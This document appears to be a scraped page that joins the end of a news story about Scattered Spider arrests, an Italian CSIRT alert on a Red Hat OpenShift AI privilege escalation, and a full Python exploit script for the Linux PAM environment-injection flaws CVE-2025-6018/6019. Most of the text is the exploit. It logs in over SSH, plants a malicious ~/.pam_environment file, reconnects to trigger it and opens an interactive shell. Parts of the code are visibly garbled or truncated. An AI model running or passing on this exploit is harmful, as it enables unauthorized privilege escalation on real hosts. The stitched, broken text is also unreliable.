Chromium-based web browsers.” Malware-laced targeted emails are not out of character for certain members of the Scattered Lapsus$ Hunters, who have previously harassed and threatened security researchers and even law enforcement officials who are investigating and warning about the extent of their attacks. With so many big data breaches and ransom attacks now coming from cybercrime groups operating on the Com, law enforcement agencies on both sides of the pond are under increasing pressure to apprehend the criminal hackers involved. In late September, prosecutors in the U.K. charged two alleged Scattered Spider members aged 18 and 19 with extorting at least $115 million in ransom payments from companies victimized by data theft. U.S. prosecutors heaped their own charges on the 19 year-old in that duo — U.K. resident Thalha Jubair — who is alleged to have been involved in data ransom attacks against Marks & Spencer and Harrods, the British food retailer Co-op Group, and the 2023 intrusions at MGM Resorts and Caesars Entertainment. Jubair also was allegedly a key member of LAPSUS$, a cybercrime group that broke into dozens of technology companies beginning in late 2021. In August, convicted Scattered Spider member and 20-year-old Florida man Noah Michael Urban was sentenced to 10 years in federal prison and ordered to pay roughly $13 million in restitution to victims. In April 2025, a 23-year-old Scottish man thought to be an early Scattered Spider member was extradited from Spain to the U.S., where he is facing charges of wire fraud, conspiracy and identity theft. U.S. prosecutors allege Tyler Robert Buchanan and co-conspirators hacked into dozens of companies in the United States and abroad, and that he personally controlled more than $26 million stolen from victims. Update, Oct. 8, 8:59 a.m. ET: A previous version of this story incorrectly referred to the malware sent by the reader as a Windows screenshot file. Rather, it is a Windows screensaver file.

RedHat: vulnerabilità in OpenShift AI Alert AL06/251002/CSIRT-ITA Sintesi Aggiornamenti di sicurezza RedHat sanano una vulnerabilità con gravità “critica” in Red Hat OpenShift AI, piattaforma per lo sviluppo e la gestione di modelli di intelligenza artificiale progettata per ambienti cloud ibridi. Tale vulnerabilità riguarda un ruolo ClusterRole (kueue-batch-user-role) eccessivamente permissivo che potrebbe consentire a utenti autenticati di elevare i propri privilegi fino a "cluster admin". Tipologia Privilege Escalation Prodotti e versioni affette Red Hat OpenShift AI 2.21.0 Azioni di mitigazione In linea con le dichiarazioni del vendor, si raccomanda di aggiornare i prodotti interessati all’ultima versione disponibile seguendo le indicazioni riportate nei bollettini di sicurezza nella sezione Riferimenti.

Exploit Title: Linux PAM Environment - Variable Injection Local Privilege Escalation Exploit Author: @İbrahimsql Exploit Author's github: https://github.com/ibrahmsql Description: PAM pam_env.so module allows environment variable injection via ~/.pam_environment leading to privilege escalation through SystemD session manipulation CVE: CVE-2025-6018, CVE-2025-6019 Vendor Homepage: https://github.com/linux-pam/linux-pam Software Link: https://github.com/linux-pam/linux-pam/releases Version: PAM 1.3.0 - 1.6.0 (vulnerable versions) Category: Local Privilege Escalation Requirements: paramiko>=2.12.0 Usage: python3 cve_2025_6018_professional.py -i target_ip -u username -p password References: https://access.redhat.com/security/cve/CVE-2025-6018 https://bugzilla.redhat.com/show_bug.cgi?id=2372693 https://bugzilla.suse.com/show_bug.cgi?id=1243226 import paramiko import time import sys import socket import argparse import logging from datetime import datetime Setup logging logging.basicConfig( level=logging.INFO, format='%(asctime)s [%(levelname)s] %(message)s', datefmt='%Y-%m-%d %H:%M:%S', handlers=[ logging.FileHandler('cve_2025_6018_exploit.log'), logging.StreamHandler(sys.stdout) ] ) logger = logging.getLogger(name) class CVEExploit: def init(self): self.vulnerable_versions = [ "pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0", "pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0" ] def check_vulnerability(self, client): """Enhanced vulnerability detection""" logger.info("Starting vulnerability assessment") checks = { "pam_version": "rpm -q pam || dpkg -l | grep libpam", "pam_env": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null", "pam_systemd": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null", "systemd_version": "systemctl --version | head -1" } vulnerable = False for check_name, command in checks.items(): logger.info(f"Executing check: {check_name}") try: stdin, stdout, stderr = client.exec_command(command, timeout=10) output = stdout.read().decode().strip() if check_name == "pam_version": for vuln_ver in self.vulnerable_versions: if vuln_ver in output: logger.info(f"Vulnerable PAM version detected: {vuln_ver}") vulnerable = True break elif check_name == "pam_env" and output: logger.info("pam_env.so configuration found") vulnerable = True elif check_name == "pam_systemd" and output: logger.info("pam_systemd.so found - escalation vector available") if output and check_name != "pam_version": logger.debug(f"Command output: {output[:100]}...") except Exception as e: logger.warning(f"Check {check_name} failed: {e}") time.sleep(0.5) return vulnerable def create_malicious_environment(self, client): """Create enhanced .pam_environment file""" logger.info("Creating malicious environment file") payload = '''# CVE-2025-6018 Environment Poisoning XDG_SEAT OVERRIDE=seat0 XDG_VTNR OVERRIDE=1 XDG_SESSION_TYPE OVERRIDE=x11 XDG_SESSION_CLASS OVERRIDE=user XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime SYSTEMD_LOG_LEVEL OVERRIDE=debug''' try: logger.info("Writing .pam_environment file") cmd = f"cat > ~/.pam_environment /dev/null || echo 'denied'", "authorized") ] escalated = False for test_name, command, success_indicator in tests: logger.info(f"Testing: {test_name}") try: stdin, stdout, stderr = client.exec_command(command, timeout=10) output = stdout.read().decode().strip() if success_indicator in output.lower(): logger.info(f"PRIVILEGE ESCALATION DETECTED: {test_name}") escalated = True else: logger.info(f"No escalation detected: {test_name}") except Exception as e: logger.warning(f"Test {test_name} failed: {e}") return escalated def interactive_shell(self, client): """Professional interactive shell""" logger.info("Starting interactive shell session") shell = client.invoke_shell() shell.send("export PS1='exploit$ '\n") time.sleep(1) # Clear buffer while shell.recv_ready(): shell.recv(1024) print("\n--- Interactive Shell ---") print("Commands: 'exit' to quit, 'status' for privilege check") while True: try: command = input("exploit$ ") if command.lower() == 'exit': break elif command.lower() == 'status': stdin, stdout, stderr = client.exec_command("id && groups") print(stdout.read().decode()) continue shell.send(command + "\n") time.sleep(0.5) while shell.recv_ready(): output = shell.recv(1024).decode('utf-8', errors='ignore') print(output, end='') except KeyboardInterrupt: logger.warning("Use 'exit' to quit properly") except Exception as e: logger.error(f"Shell error: {e}") break def run_exploit(self, hostname, username, password=None, key_filename=None, port=22): """Main exploit execution""" logger.info(f"Starting CVE-2025-6018 exploit against {hostname}:{port}") try: # Initial connection client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) logger.info(f"Connecting to {hostname}:{port} as {username}") client.connect(hostname, port=port, username=username, password=password, key_filename=key_filename, timeout=10) logger.info("SSH connection established") # Check vulnerability if not self.check_vulnerability(client): logger.error("Target does not appear vulnerable to CVE-2025-6018/6019") return False logger.info("Target appears vulnerable, proceeding with exploitation") # Create malicious environment if not self.create_malicious_environment(client): logger.error("Failed to create malicious environment") return False logger.info("Reconnecting to trigger PAM environment loading") client.close() time.sleep(2) # Reconnect to trigger PAM client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(hostname, port=port, username=username, password=password, key_filename=key_filename) logger.info("Reconnection successful") # Test privilege escalation if self.test_privilege_escalation(client): logger.info("EXPLOITATION SUCCESSFUL - Privilege escalation confirmed") self.interactive_shell(client) else: logger.warning("No clear privilege escalation detected") logger.info("Manual verification may be required") return True except paramiko.AuthenticationException: logger.error("Authentication failed - check credentials") except paramiko.SSHException as e: logger.error(f"SSH error: {e}") except socket.error as e: logger.error(f"Network error: {e}") except Exception as e: logger.error(f"Unexpected error: {e}") finally: try: client.close() except: pass logger.info("Connection closed") return False def main(): parser = argparse.ArgumentParser( description="CVE-2025-6018/6019 PAM Environment Injection Exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 %(prog)s -i 192.168.1.100 -u testuser -p password123 python3 %(prog)s -i target.com -u admin -k ~/.ssh/id_rsa """ ) parser.add_argument("-i", "--hostname", required=True, help="Target hostname or IP") parser.add_argument("-u", "--username", required=True, help="SSH username") parser.add_argument("-p", "--password", help="SSH password") parser.add_argument("-k", "--key", dest="key_filename", help="SSH private key file") parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging") args = parser.parse_args() if args.verbose: logging.getLogger().setLevel(logging.DEBUG) if not args.password and not args.key_filename: parser.error("Provide either password (-p) or private key (-k)") # Security warning logger.warning("Use only with proper authorization!") exploit = CVEExploit() success = exploit.run_exploit( hostname=args.hostname, username=args.username, password=args.password, key_filename=args.key_filename, port=args.port ) sys.exit(0 if success else 1) if name == "main": main()